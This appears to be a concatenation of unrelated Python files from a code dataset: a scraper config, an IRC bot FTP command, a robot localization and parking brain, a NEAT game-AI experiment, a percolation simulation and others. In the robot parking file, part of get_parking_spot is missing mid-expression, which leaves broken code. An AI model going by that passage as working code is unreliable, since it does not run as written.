server.bind('tcp://0.0.0.0:4242')\n server.run()\n","sub_path":"jiebarpc/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"534865240","text":"# -*- coding: utf-8 -*-\nimport os\n\n# Scrapy settings for nhs project\n#\n# For simplicity, this file contains only settings considered important or\n# commonly used. You can find more settings consulting the documentation:\n#\n# https://doc.scrapy.org/en/latest/topics/settings.html\n# https://doc.scrapy.org/en/latest/topics/downloader-middleware.html\n# https://doc.scrapy.org/en/latest/topics/spider-middleware.html\n\nBOT_NAME = 'nhs'\n\nSPIDER_MODULES = ['nhs.spiders']\nNEWSPIDER_MODULE = 'nhs.spiders'\n\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\n# USER_AGENT = 'nhs (+http://www.yourdomain.com)'\n\n# Obey robots.txt rules\nROBOTSTXT_OBEY = True\n\n# Configure maximum concurrent requests performed by Scrapy (default: 16)\n#CONCURRENT_REQUESTS = 32\n\n# Configure a delay for requests for the same website (default: 0)\n# See https://doc.scrapy.org/en/latest/topics/settings.html#download-delay\n# See also autothrottle settings and docs\n# DOWNLOAD_DELAY = 3\n# The download delay setting will honor only one of:\n# CONCURRENT_REQUESTS_PER_DOMAIN = 16\n# CONCURRENT_REQUESTS_PER_IP = 16\n\n# Disable cookies (enabled by default)\n# COOKIES_ENABLED = False\n\n# Disable Telnet Console (enabled by default)\n# TELNETCONSOLE_ENABLED = False\n\n# Override the default request headers:\n# DEFAULT_REQUEST_HEADERS = {\n# 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n# 'Accept-Language': 'en',\n# }\n\n# Enable or disable spider middlewares\n# See https://doc.scrapy.org/en/latest/topics/spider-middleware.html\n# SPIDER_MIDDLEWARES = {\n# 'nhs.middlewares.NhsSpiderMiddleware': 543,\n# }\n\n# Enable or disable downloader middlewares\n# See https://doc.scrapy.org/en/latest/topics/downloader-middleware.html\n# DOWNLOADER_MIDDLEWARES = {\n# 'nhs.middlewares.NhsDownloaderMiddleware': 543,\n# }\n\n# Enable or disable extensions\n# See https://doc.scrapy.org/en/latest/topics/extensions.html\n# EXTENSIONS = {\n# 'scrapy.extensions.telnet.TelnetConsole': None,\n# }\n\n# Configure item pipelines\n# See https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nITEM_PIPELINES = {\n 'scrapy.pipelines.files.FilesPipeline': 10,\n# 'nhs.pipelines.MongoPipeline': 20,\n 'nhs.pipelines.KafkaPipeline': 15\n # 'nhs.pipelines.DoNothingPipeline': 1,\n}\n\nFILES_STORE = os.environ.get('FILES_STORE', '/home/pjmd/tmp/nhs/files')\n\n# Enable and configure the AutoThrottle extension (disabled by default)\n# See https://doc.scrapy.org/en/latest/topics/autothrottle.html\n# AUTOTHROTTLE_ENABLED = True\n# The initial download delay\n# AUTOTHROTTLE_START_DELAY = 5\n# The maximum download delay to be set in case of high latencies\n# AUTOTHROTTLE_MAX_DELAY = 60\n# The average number of requests Scrapy should be sending in parallel to\n# each remote server\n# AUTOTHROTTLE_TARGET_CONCURRENCY = 1.0\n# Enable showing throttling stats for every response received:\n# AUTOTHROTTLE_DEBUG = False\n\n# Enable and configure HTTP caching (disabled by default)\n# See https://doc.scrapy.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings\n# HTTPCACHE_ENABLED = True\n# HTTPCACHE_EXPIRATION_SECS = 0\n# HTTPCACHE_DIR = 'httpcache'\n# HTTPCACHE_IGNORE_HTTP_CODES = []\n# HTTPCACHE_STORAGE = 'scrapy.extensions.httpcache.FilesystemCacheStorage'\n\n# MONGO\nMONGO_URI = os.environ.get('MONGO_URI', 'mongodb://127.0.0.1:27017/')\nMONGO_DATABASE = 'nhsdb'\nVALIDATE = False\n# KAFKA\nKAFKA_HOST = os.environ.get('KAFKA_HOST', 'localhost')\nKAFKA_PORT = os.environ.get('KAFKA_PORT', 9092)\nTOPIC = 'scrapypipe'\nBULK_SEND = True if os.environ.get('BULK_SEND', 'False').lower() in ['true', 'yes'] else False\nBULK_SIZE = os.environ.get('BULK_SIZE', 100)\n# VALIDATION_SCHEMA = {\n# 'validator': {\n# '$jsonSchema': {\n# 'bsonType': \"object\",\n# 'required': [ \"category\", \"Formulations\", \"Medicine\", \"unit\", \"period\", \"Pack_Size\", \"VMPP_Snomed_Code\", \"Basic_Price\" ],\n# 'properties': {\n# 'Medicine': {\n# 'bsonType': \"string\",\n# 'description': \"must be a string and is required\"\n# },\n# 'Basic_Price': {\n# 'bsonType': \"float\",\n# 'description': \"must be a float and is required\"\n# }\n# }\n# }\n# }\n# }\nVALIDATION_SCHEMA = {\n 'validator': {\n '$jsonSchema': [\n {'bsonType': \"object\"},\n {'required': [\"category\", \"Formulations\", \"Medicine\", \"unit\", \"period\", \"Pack_Size\", \"VMPP_Snomed_Code\",\n \"Basic_Price\"]},\n {'properties': {\n 'Medicine': [\n ('bsonType', \"string\"),\n ('description', \"must be a string and is required\")\n ],\n 'Basic_Price': [\n ('bsonType', \"float\"),\n ('description', \"must be a float and is required\")\n ]\n }\n }\n ]\n }\n}\n","sub_path":"nhs/nhs/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"436744377","text":"from twisted.internet import reactor\nfrom twisted.internet.defer import inlineCallbacks\nfrom twisted.internet.protocol import ClientCreator\nfrom twisted.protocols.ftp import FTPClient, FTPFileListProtocol\nfrom lib.utils import cache\nimport fnmatch, os\n\nconfig = {\n \"access\": \"admin\",\n \"help\": \".cache [filter] [showname] || .cache premux eotena || Caches the premux for a show so that .chapters, .xdelta and .release work faster\",\n \"reversible\": False\n}\n\n@inlineCallbacks\ndef command(self, user, channel, msg):\n if len(msg) < 2:\n self.msg(channel, \"Need a filter and show name\")\n return\n name_filter, show = msg[0], \" \".join(msg[1:])\n show = self.factory.resolve(show, channel)\n if show is None:\n return\n if not show[\"folder\"]:\n self.msg(channel, \"No FTP folder given for {}\".format(show[\"series\"]))\n return\n episode = show[\"current_ep\"] + 1\n\n ftp = yield ClientCreator(reactor, FTPClient, self.factory.config.ftp_user, self.factory.config.ftp_pass).connectTCP(self.factory.config.ftp_host, self.factory.config.ftp_port)\n ftp.changeDirectory(\"/{}/{:02d}/\".format(show[\"folder\"], episode))\n filelist = FTPFileListProtocol()\n yield ftp.list(\".\", filelist)\n files = [x[\"filename\"] for x in filelist.files if x[\"filetype\"] != \"d\"]\n premux = fnmatch.filter(files, \"*{}*.mkv\".format(name_filter))\n\n if not premux:\n self.msg(channel, \"No premux found\")\n return\n elif len(premux) > 1:\n self.msg(channel, \"Too many premux files match the filter: {}\".format(\", \".join(premux)))\n return\n else:\n premux = premux[0]\n premux_len = [x[\"size\"] for x in filelist.files if x[\"filename\"] == premux][0]\n\n\n if os.path.isfile(\"{}/{}\".format(self.factory.config.premux_dir, premux)):\n self.msg(channel, \"{} already is cached. Message fugi if you need it re-cached.\".format(premux))\n return\n\n success = yield cache(self, user, ftp, premux, premux_len)\n\n if success:\n self.msg(channel, \"{} cached.\".format(premux))\n else:\n self.msg(channel, \"Caching of {} failed.\".format(premux))\n\n yield ftp.quit()\n ftp.fail(None)\n","sub_path":"commands/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"236624582","text":"from collections import deque\ntc = int(input())\nfor t in range(tc):\n N, K = map(int,input().split())\n l1 = list(input())\n bar = N//4\n vktodehlstn = []\n\n for i in range(bar+1):\n if i == 0:\n for j in range(4):\n b = \"\".join(l1[ bar*j : j*bar+bar ])\n vktodehlstn.append(b)\n else:\n a = l1.pop()\n l1.insert(0,a)\n for j in range(4):\n b = \"\".join(l1[ bar*j : j*bar+bar ])\n vktodehlstn.append(b)\n\n\n vktodehlstn = list(set(vktodehlstn))\n vktodehlstn.sort(reverse=True)\n X = \"0x\" + vktodehlstn[K-1]\n h = int(X, 16)\n print(\"#\",t+1,' ',h, sep='')\n \n ","sub_path":"SWEA/SWEA_5658.py","file_name":"SWEA_5658.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"223437670","text":"import sys\nimport math\nimport os.path\n\nfrom soar.robot.pioneer import PioneerRobot\nfrom soar.hooks import tkinter_hook, is_gui, sim_completed\nfrom soar.gui.plot_window import PlotWindow\nfrom soar.sim.geometry import normalize_angle_180\nfrom soar.client import brain_path\nimport lib601.markov as markov\nfrom lib601.dist import *\n\nimport beliefGraph\nimport idealReadings\n\n####################################################################\n###\n### Preliminaries -- do not change the following code\n###\n####################################################################\n\nrobot = PioneerRobot()\n\nlab_path = os.path.dirname(brain_path)\nWORLD_FILE = os.path.join(lab_path,'baseWorld.py')\nFORWARD_VELOCITY = 0.2 # meters / second\nTIMESTEP_LENGTH = 0.1 # seconds\n\n\n# Where the robot will be in the world\n(x_min, x_max) = (0, 6.08)\nrobotY = y = 0.5\n\n# Distance and Gain for Wall Following\ndesired_right = 0.5\nKp,Ka = (10.0,2.)\n\n# Maximum \"good\" sonar reading\nsonar_max = 1.5\n\n#method to discretize values into boxes of size grid_size\ndef discretize(value, grid_size, max_bin=float('inf'), value_min = 0):\n return min(int(((value or sonar_max) - value_min)/grid_size), max_bin)\n\n#method to clip x to be within lo and hi limits, inclusive\ndef clip(x, lo, hi):\n return max(lo, min(x, hi))\n\n####################################################################\n###\n### Probabilistic Models -- you may change this code\n###\n####################################################################\n\n# Number of discrete locations and discrete observations\nnum_states = 40\nnum_observations = 12\n\n# compatibility for some students who got the old names\nnumStates = num_states\nnumObservations = num_observations\nimport lib601.dist as dist\n\n\ndef obs_model(s):\n tilt = triangle_dist(ideal[s],num_observations//6, 0, num_observations-1)\n wall = uniform_dist(range(num_observations))\n p = .95\n final_dist = mixture(tilt, wall, p)\n return final_dist\n\ndef trans_model(s):\n delta_pos = FORWARD_VELOCITY * robot.direction * TIMESTEP_LENGTH\n width = (x_max - x_min)/(num_states-1)\n delta = delta_pos/width\n p = abs(delta - int(delta))\n if s+int(delta) >= num_states-1:\n new_dist = {num_states-1:1}\n## elif s+int(delta) <= 0:\n## new_dist = {0:1}\n elif robot.direction == 1: \n new_dist = {clip(s+int(delta), 0, num_states-1):1-p, clip(s+int(delta)+1, 0, num_states-1):p}\n elif robot.direction == -1:\n new_dist = {clip(s+int(delta), 0, num_states-1):1-p, clip(s+int(delta)-1, 0, num_states-1):p}\n \n return DDist(new_dist)\n\n\ndef confident_location(belief):\n s_true = belief.max_prob_elt()\n width = (x_max - x_min)/(num_states-1)\n state_range = int((0.45/2)// width)\n sum_prob = 0\n for i in range(s_true-state_range, state_range+s_true):\n sum_prob += belief.prob(i)\n if sum_prob > 0.75:\n return (s_true, True)\n return (-1, False) \n\n\nuniform_init_dist = square_dist(0, num_states)\n\nREAL_ROBOT = True\n\n######################################################################\n###\n### Brain Methods -- do not change the following code\n###\n######################################################################\n\n# Robot's Ideal Readings\n#ideal = idealReadings.compute_ideal_readings(WORLD_FILE, x_min, x_max, robotY, num_states, num_observations)\nideal = [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5]\n\ndef get_parking_spot(ideal):\n avg = sum(ideal)/float(len(ideal))\n i = len(ideal)-1\n print('len(idea)', len(ideal))\n print('avg = ', avg)\n while i>0 and ideal[i]>avg:\n i -= 1\n print('i=', i)\n j = i\n while j>0 and ideal[j] avg and i > 0 and ideal[i-1] < avg:\n in_room = i\n if ideal[i] < avg and ideal[i-1] > avg and i > 0:\n out_room = i\n count_rooms += 1\n if count_rooms == table:\n return (in_room + out_room-1)/2\n return (in_room + out_room -1)/2\n \ndef on_step(step_duration):\n sonars = robot.sonars\n (px, py, ptheta) = robot.pose\n width = (x_max - x_min)/(num_states-1)\n if robot.confident:\n print('x: ', robot.pose.x)\n (location, _) = confident_location(robot.estimator.belief)\n print('Im parking')\n table_state = get_desired_table_state(ideal, robot.table)\n table_location = table_state * width + x_min\n robot.direction = (table_state - location)/abs(table_state - location)\n (distance_right, theta) = robot.get_distance_right_and_angle()\n if not theta:\n theta = 0\n e = (desired_right-distance_right)*robot.direction\n ROTATIONAL_VELOCITY = Kp*e - Ka*theta\n if abs(table_location - robot.pose.x) > width*.1 and robot.back_ward:\n robot.fv = FORWARD_VELOCITY * robot.direction\n robot.rv = ROTATIONAL_VELOCITY #* robot.direction\n elif abs(table_location - robot.pose.x) < width*.1 and robot.back_ward:\n robot.fv = 0\n robot.back_ward = False\n robot.rotate = True\n if robot.rotate: \n if abs(robot.pose[2] - 3.14/2) > .09:\n #robot.rv = 0.2 * (robot.pose[2] - 90)\n robot.rv = .2\n else:\n robot.rotate = False\n robot.park = True\n if robot.park:\n if sonars[4] > .2:\n robot.fv = .2\n robot.rv = 0 \n else:\n robot.fv = 0\n robot.rv = 0\n print('I parked')\n return\n\n \n # Quality metric. Important to do this before we update the belief state, because\n # it is always a prediction\n if not REAL_ROBOT:\n parkingSpaceSize = .75\n robotWidth = 0.3\n margin = (parkingSpaceSize - robotWidth) / 2\n robot.probMeasures.append(estimate_quality_measure(robot.estimator.belief,\n x_min, x_max, num_states, margin, px))\n true_state = discretize(px, (x_max - x_min)/num_states, value_min = x_min)\n true_state = clip(true_state, 0, num_states-1)\n n = len(robot.probMeasures)\n\n # current discretized sonar reading\n left = discretize(sonars[0], sonar_max/num_observations, num_observations-1)\n if not REAL_ROBOT:\n robot.data.append((true_state, ideal[true_state], left))\n # obsProb\n obsProb = sum([robot.estimator.belief.prob(s) * obs_model(s).prob(left)\n for s in range(num_states)])\n\n # GRAPHICS\n if robot.g is not None:\n # draw robot's true state\n if not REAL_ROBOT:\n if true_state < num_states:\n robot.g.updateDist()\n robot.g.updateTrueRobot(true_state)\n # update observation model graph\n robot.g.updateObsLabel(left)\n robot.g.updateObsGraph([obs_model(s).prob(left)\n for s in range(num_states)])\n\n robot.estimator.update(left)\n (location, robot.confident) = confident_location(robot.estimator.belief)\n \n # GRAPHICS\n if robot.g is not None:\n # update world drawing\n # update belief graph\n robot.g.updateBeliefGraph([robot.estimator.belief.prob(s)\n for s in range(num_states)])\n # DL3 Angle Controller\n (distance_right, theta) = robot.get_distance_right_and_angle()\n if not theta:\n theta = 0\n e = desired_right-distance_right\n ROTATIONAL_VELOCITY = Kp*e - Ka*theta\n robot.fv = FORWARD_VELOCITY * robot.direction\n robot.rv = ROTATIONAL_VELOCITY \n## robot.rv = 1\ndef on_shutdown():\n pass\n\ndef estimate_quality_measure(belief, x_min, x_max, num_states, delta, true_x):\n min_good = max(true_x - delta, x_min)\n max_good = min(true_x + delta, x_max)\n state_size = (x_max - x_min) / num_states\n min_good_discrete = max(0, discretize(min_good, state_size, value_min = x_min))\n max_good_discrete = min(num_states-1,\n discretize(max_good, state_size, value_min = x_min)) + 1\n\n min_good_reconstituted = min_good_discrete * state_size + x_min\n max_good_reconstituted = max_good_discrete * state_size + x_min\n\n frac_low_bin_in_range = 1 - ((min_good - min_good_reconstituted) / state_size)\n frac_high_bin_in_range = 1 - ((max_good_reconstituted - max_good) / state_size)\n\n total = sum(belief.prob(s) for s in range(min_good_discrete+1, max_good_discrete))\n lowP = belief.prob(min_good_discrete) * frac_low_bin_in_range\n highP = belief.prob(max_good_discrete) * frac_high_bin_in_range\n return total + lowP + highP\n","sub_path":"src/old_files/parkingBrain_park.py","file_name":"parkingBrain_park.py","file_ext":"py","file_size_in_byte":10107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"273194460","text":"import neat \nimport neat.nn\ntry:\n import cPickle as pickle\nexcept:\n import pickle\nimport sys,os\nsys.path.append('../pureples/')\nfrom pureples.shared.substrate import Substrate\nfrom pureples.shared.visualize import draw_net,draw_es\nfrom pureples.es_hyperneat.es_hyperneat import ESNetwork\nimport numpy as np\nimport statistics\nsys.path.insert(0, 'evoman')\nfrom environment import Environment\n\nfrom tqdm import tqdm\nfrom neat_feed_forward_controller import player_controller\nenemy = str(sys.argv[1]) if len(sys.argv)> 1 else 6 \n\ndef eval_fitness(genomes, config):\n sum = 0\n max = -9999999\n c = 0\n global max_f\n global max_g\n \n fs = []\n for idx, genome in tqdm(genomes):\n \n cppn = neat.nn.FeedForwardNetwork.create(genome, config)\n # plot = draw_net(cppn, filename=experiment_name+\"/es_hyperneat_xor_medium_cppn\")\n # plot.view()\n network = ESNetwork(sub, cppn, params)\n # if c %10 ==0:\n\n # net = network.create_phenotype_network(filename=experiment_name+'/substrate.jpg')\n # else:\n net = network.create_phenotype_network()\n \n # draw_es(id_to_coords, network.connections, experiment_name+'/substrate')\n env.player_controller =player_controller( net)\n c +=1\n f,p,e,t = env.play(pcont=genome)\n if f > max_f:\n max_f = f\n max_g = genome\n\n genome.fitness = f\n fs.append(f)\n sum += f\n # exit()\n if f>max:\n max_g = genome\n max = f\n mean = np.sum(fs) / c\n std = statistics.stdev(fs)\n with open(experiment_name+'/'+'my_log.txt','a') as f:\n f.write('mean,'+str(mean)+',max,'+str(max)+',std,'+str(std)+'\\r')\n# Create the population and run the XOR task by providing the above fitness function.\ndef run(gens):\n pop = neat.population.Population(config)\n stats = neat.statistics.StatisticsReporter()\n pop.add_reporter(stats)\n pop.add_reporter(neat.reporting.StdOutReporter(True))\n\n winner = pop.run(eval_fitness, gens)\n # print(\"es_hyperneat_xor_medium done\")\n return winner, stats\n\n\n# If run as script.\nif __name__ == '__main__':\n headless = True\n if headless:\n os.environ[\"SDL_VIDEODRIVER\"] = \"dummy\"\n input_coordinates = [(-3.0 , 4.0),(-3.0 , 3.0),(-3.0 , 2.0),(-3.0 , 1.0),\n (-3.0 , -1.0),(-3.0 , -2.0),(-3.0 , -3.0),(-3.0 , -4.0),\n (3.0 , 4.0),(3.0 , 3.0),(3.0 , 2.0),(3.0 , 1.0),\n (3.0 , -1.0),(3.0 , -2.0),(3.0 , -3.0),(3.0 , -4.0),\n (0.0 , 4.0),(0.0 , 2.0),(0.0 , -4.0),(0.0 , -2.0)]\n\n output_coordinates = [(-2.0, 5.0),(-1.0, 5.0),(0.0, 5.0),(1.0, 5.0),(2.0, 5.0),]\n\n for i in range(10):\n \n experiment_name = 'hyper_enemy'+ str(enemy)+'multi'+str(i)\n if not os.path.exists(experiment_name):\n os.makedirs(experiment_name)\n env = Environment(experiment_name=experiment_name,\n enemies=[enemy],\n playermode=\"ai\",\n player_controller=player_controller,\n enemymode=\"static\",\n level=2,\n speed=\"fastest\",\n randomini=\"yes\" )\n global max_f \n max_f = -9999\n global max_g \n max_g = None\n sub = Substrate(input_coordinates, output_coordinates)\n\n # ES-HyperNEAT specific parameters.\n params = {\"initial_depth\": 1,\n \"max_depth\": 2,\n \"variance_threshold\": 0.03,\n \"band_threshold\": 0.3,\n \"iteration_level\": 1,\n \"division_threshold\": 0.5,\n \"max_weight\": 8.0,\n \"activation\": \"sigmoid\"}\n\n # Config for CPPN.\n config = neat.config.Config(neat.genome.DefaultGenome, neat.reproduction.DefaultReproduction,\n neat.species.DefaultSpeciesSet, neat.stagnation.DefaultStagnation,\n 'config_cppn')\n\n winner = run(int(sys.argv[2]) if len(sys.argv)>2 else 50)[0]\n print('\\nBest genome:\\n{!s}'.format(winner))\n\n # Verify network output against training data.\n print('\\nOutput:')\n cppn = neat.nn.FeedForwardNetwork.create(winner, config)\n network = ESNetwork(sub, cppn, params)\n winner_net = network.create_phenotype_network(filename=experiment_name+'/es_hyperneat_xor_medium_winner.png') # This will also draw winner_net.\n with open(experiment_name+'/winner_genome.pkl','wb')as f:\n\n pickle.dump(winner,f)\n f.close()\n with open(experiment_name+'/my_winner_genome_'+str(int(max_f))+'.pkl','wb')as f:\n\n pickle.dump(max_g,f)\n f.close()\n # Save CPPN if wished reused and draw it to file.\n draw_net(cppn, filename=experiment_name+\"/es_hyperneat_xor_medium_cppn\")\n with open(experiment_name+'/es_hyperneat_xor_medium_cppn.pkl', 'wb') as output:\n pickle.dump(cppn, output, pickle.HIGHEST_PROTOCOL)\n\n","sub_path":"specialist_hyperneat_multirun.py","file_name":"specialist_hyperneat_multirun.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"616542116","text":"from datetime import date\nfrom pytest import fixture\nfrom .models import User, Trip\n\n\n@fixture\ndef user() -> User:\n return User(username=\"Dummy\", email=\"dummy@dummy.dm\", password=\"password\")\n\n\ndef test_user_create(user: User):\n assert user\n\n\n@fixture\ndef trip() -> Trip:\n test_date = date.fromisoformat(\"2021-03-30\")\n return Trip(\n user_id=1,\n departure=\"Angers\",\n departure_id=\"admin:fr:49007\",\n arrival=\"Toulouse\",\n arrival_id=\"admin:fr:31555\",\n date=test_date,\n )\n\n\ndef test_trip_create(trip: Trip):\n assert trip\n","sub_path":"app/application/models_test.py","file_name":"models_test.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"222428443","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom algorithm import WeightedQuickUnionUF\nfrom random import Random\nfrom time import time\nimport sys\nfrom pdf import crearPDF\nfrom mail import envio_mail\n\n\nclass PercolationSimulation(object):\n\n def __init__(self, N, rseed=None):\n self.N = N\n # La grilla es de N * N, pero se agregan dos componentes virtuales\n self.qu = WeightedQuickUnionUF(N * N + 2, debug=False)\n self.virt_top = N * N\n self.virt_bottom = N * N + 1\n\n # Usamos un hack: hay dos nodos virtuales en WQU, una para cada borde\n # Conectamos todos los nodos de cada borde a su nodo virtual, luego checkeamos si ambos nodos son conexos\n # Si esto es True, el sistema percola\n for i in range(N):\n self.qu.union(N * N, i) # El nodo N * N es virtual top\n for i in range(N * N - N, N * N):\n self.qu.union(N * N + 1, i) # El nodo N * N + 1 es virtual bottom\n\n self.open = [False] * (N * N) # Indica si el nodo esta abierto o no\n self.rng = Random(rseed) if rseed else Random()\n\n def adyacentes(self, p):\n # Retorna los id de los nodos abiertos adyacentes a p\n adyacentes = []\n izq = p - 1\n derecha = p + 1\n arriba = p - self.N\n abajo = p + self.N\n\n # Checkea a los vecinos del nodo, viendo si realmente son vecinos, y\n # estan abiertos\n for nodo in (izq, derecha, arriba, abajo):\n if 0 < nodo < self.N * self.N and self.open[nodo]:\n adyacentes.append(nodo)\n return adyacentes\n\n def _percola(self): # Si ambos nodos virtuales son conexos, bingo!\n return self.qu.connected(self.virt_top, self.virt_bottom)\n\n def umbral(self):\n cerrados = range(self.N * self.N) # Todos los sitios parten cerrados\n # Hacemos un shuffle, para ir abriendo sitios aleatoriamente\n self.rng.shuffle(cerrados)\n\n while cerrados:\n nodo = cerrados.pop()\n self.open[nodo] = True # Se abre el nodo\n vecinos = self.adyacentes(nodo) # Se obtienen los nodos adyacentes\n\n # Se establece un enlace entre el nodo y cada nodo adyacente\n for vecino in vecinos:\n self.qu.union(nodo, vecino)\n\n if self._percola():\n break # Si el sistema percola, terminamos\n abiertos = float(self.N ** 2 - len(cerrados))\n\n # La estimación del umbral de percolación\n return abiertos / (self.N * self.N)\n\n\nif __name__ == '__main__':\n ST = time()\n enfe = int(sys.argv[1])\n cont = 0\n dist = int(sys.argv[2])\n N = int(sys.argv[3])\n mail = str(sys.argv[4])\n nombre = str(sys.argv[5])\n SAMPLE_SIZE = 385\n estimated_threshold = []\n mean = 0.0\n variance = 0.0\n if enfe == 1: # quillay\n cont = 39\n if enfe == 2: # peumo\n cont = 35\n if enfe == 3: # boldo\n cont = 32\n if enfe == 4: # roble\n cont = 10\n if enfe == 5: # rauli\n cont = 20\n pass\n for i in range(SAMPLE_SIZE):\n percolacion = PercolationSimulation(N)\n estimado = percolacion.umbral()\n mean += estimado\n estimated_threshold.append(estimado)\n mean /= SAMPLE_SIZE\n for x in estimated_threshold:\n variance += (x - mean) ** 2\n variance /= (SAMPLE_SIZE - 1)\n mean = (mean * cont) / 100\n mean = 1 - mean\n T = (time() - ST)\n crearPDF(enfe, dist, N, mean, T, nombre)\n envio_mail(mail, nombre)\n","sub_path":"Programa/Percolacion/enfer/sec.py","file_name":"sec.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"227962205","text":"server_roles = (\n ('LINMN01', 'OA Management Node on Linux.'),\n ('BALINBE', 'BA Database Server on Linux.'),\n ('BALINFE', 'BA Application Server on Linux.'),\n ) \n\noperating_systems = (\n ('WIN60', 'Windows Server 2008'),\n ('WIN61', 'Windows Server 2008 R2'),\n ('WIN62', 'Windows Server 2012'),\n ('WIN63', 'Windows Server 2012 R2'),\n ('CENTOS5', 'CentOS 5'),\n ('CENTOS6', 'CentOS 6'),\n ('CENTOS7', 'CentOS 7'),\n ('CLIN5', 'Cloud Linux 5'),\n ('CLIN6', 'Cloud Linux 6'),\n )\n\narchitecture = (\n ('x86', '32 bits architecture'),\n ('x86_64', '64 bits architecture'),\n )","sub_path":"servers/choices.py","file_name":"choices.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"436760701","text":"# -*- coding=utf -*-\nfrom .common import decamelize, to_identifier, coalesce_options\nfrom collections import defaultdict\n\n_default_modules = {\n \"stores\": {\n \"sql\":\"cubes.backends.sql.store\",\n \"mongo\":\"cubes.backends.mongo\",\n \"mongo2\":\"cubes.backends.mongo2\",\n \"mixpanel\":\"cubes.backends.mixpanel.store\",\n \"slicer\":\"cubes.backends.slicer.store\",\n },\n \"browsers\": {\n \"snowflake\":\"cubes.backends.sql.browser\",\n \"snapshot\": \"cubes.backends.sql.browser\",\n \"mixpanel\":\"cubes.backends.mixpanel.browser\",\n \"slicer\":\"cubes.backends.slicer.browser\",\n },\n \"model_providers\": {\n \"mixpanel\":\"cubes.backends.mixpanel.store\",\n \"slicer\":\"cubes.backends.slicer.store\",\n },\n \"request_log_handlers\": {\n \"sql\":\"cubes.backends.sql.logging\",\n },\n \"authorizers\": {\n }\n}\n\nclass Namespace(dict):\n def __init__(self, name, objects=None, root_class=None, suffix=None,\n option_checking=False):\n self.name = name\n self.root_class = root_class\n self.suffix = suffix\n self.option_checking = option_checking\n\n if objects:\n self.update(objects)\n\n def discover_objects(self):\n if self.root_class:\n objects = collect_subclasses(self.root_class, self.suffix)\n\n if self.option_checking:\n # Convert classes to factories\n for name, class_ in objects.items():\n objects[name] = _FactoryOptionChecker(class_)\n\n self.update(objects)\n\n def __getattr__(self, value):\n return self.__getitem__(value)\n\n def __getitem__(self, value):\n try:\n return super(Namespace, self).__getitem__(value)\n except KeyError:\n # Lazily load module that might contain the object\n modules = _default_modules.get(self.name)\n if modules and value in modules:\n _load_module(modules[value])\n self.discover_objects()\n\n # Retry after loading\n return super(Namespace, self).__getitem__(value)\n\nclass _FactoryOptionChecker(object):\n def __init__(self, class_, options=None):\n \"\"\"Creates a factory wrapper for `class_`. Calling the object createds\n an instance of `class_` and configures it according to `options`. If\n not options are specified, then the class variable `__options__` is used.\n\n The options is a list of dictionaries with keys:\n\n * `name` – option name\n * `type` – option data type\n * `description` – description (optional)\n * `label` – human readable label (optional)\n * `values` – valid values for the option.\"\"\"\n\n if not options and hasattr(class_, \"__options__\"):\n options = class_.__options__\n\n self.options = {}\n self.option_types = {}\n for option in options or []:\n name = option[\"name\"]\n self.options[name] = option\n self.option_types[name] = option.get(\"type\", \"string\")\n\n self.class_ = class_\n\n def __call__(self, *args, **kwargs):\n # TODO: move this to a metaclass\n options = dict(kwargs)\n options = coalesce_options(dict(kwargs), self.option_types)\n\n return self.class_(*args, **options)\n\n_namespaces = {}\n\ndef get_namespace(name):\n \"\"\"Gets a namespace `name` dictionary.\"\"\"\n\n return _namespaces.get(name)\n\ndef initialize_namespace(name, objects=None, root_class=None, suffix=None,\n option_checking=False):\n \"\"\"Initializes the namespace `name` with `objects` dictionary and\n subclasses of `root_class` where the class name is decamelized, changet do\n an identifier and with `suffix` removed.\"\"\"\n\n ns = Namespace(name, objects, root_class, suffix,\n option_checking=option_checking)\n ns.discover_objects()\n _namespaces[name] = ns\n\n return ns\n\ndef collect_subclasses(parent, suffix=None):\n \"\"\"Collect all subclasses of `parent` and return a dictionary where keys\n are object names. Obect name is decamelized class names transformed to\n identifiers and with `suffix` removed. If a class has class attribute\n `__identifier__` then the attribute is used as name.\"\"\"\n\n subclasses = {}\n for c in subclass_iterator(parent):\n if hasattr(c, \"__identifier__\"):\n name = getattr(c, \"__identifier__\")\n else:\n name = to_identifier(decamelize(c.__name__))\n\n if suffix and name.endswith(suffix):\n name = name[:-len(suffix)]\n subclasses[name] = c\n\n return subclasses\n\ndef subclass_iterator(cls, _seen=None):\n \"\"\"\n Generator over all subclasses of a given class, in depth first order.\n\n Source: http://code.activestate.com/recipes/576949-find-all-subclasses-of-a-given-class/\n \"\"\"\n\n if not isinstance(cls, type):\n raise TypeError('_subclass_iterator must be called with '\n 'new-style classes, not %.100r' % cls)\n\n _seen = _seen or set()\n\n try:\n subs = cls.__subclasses__()\n except TypeError: # fails only when cls is type\n subs = cls.__subclasses__(cls)\n for sub in subs:\n if sub not in _seen:\n _seen.add(sub)\n yield sub\n for sub in subclass_iterator(sub, _seen):\n yield sub\n\ndef _load_module(modulepath):\n mod = 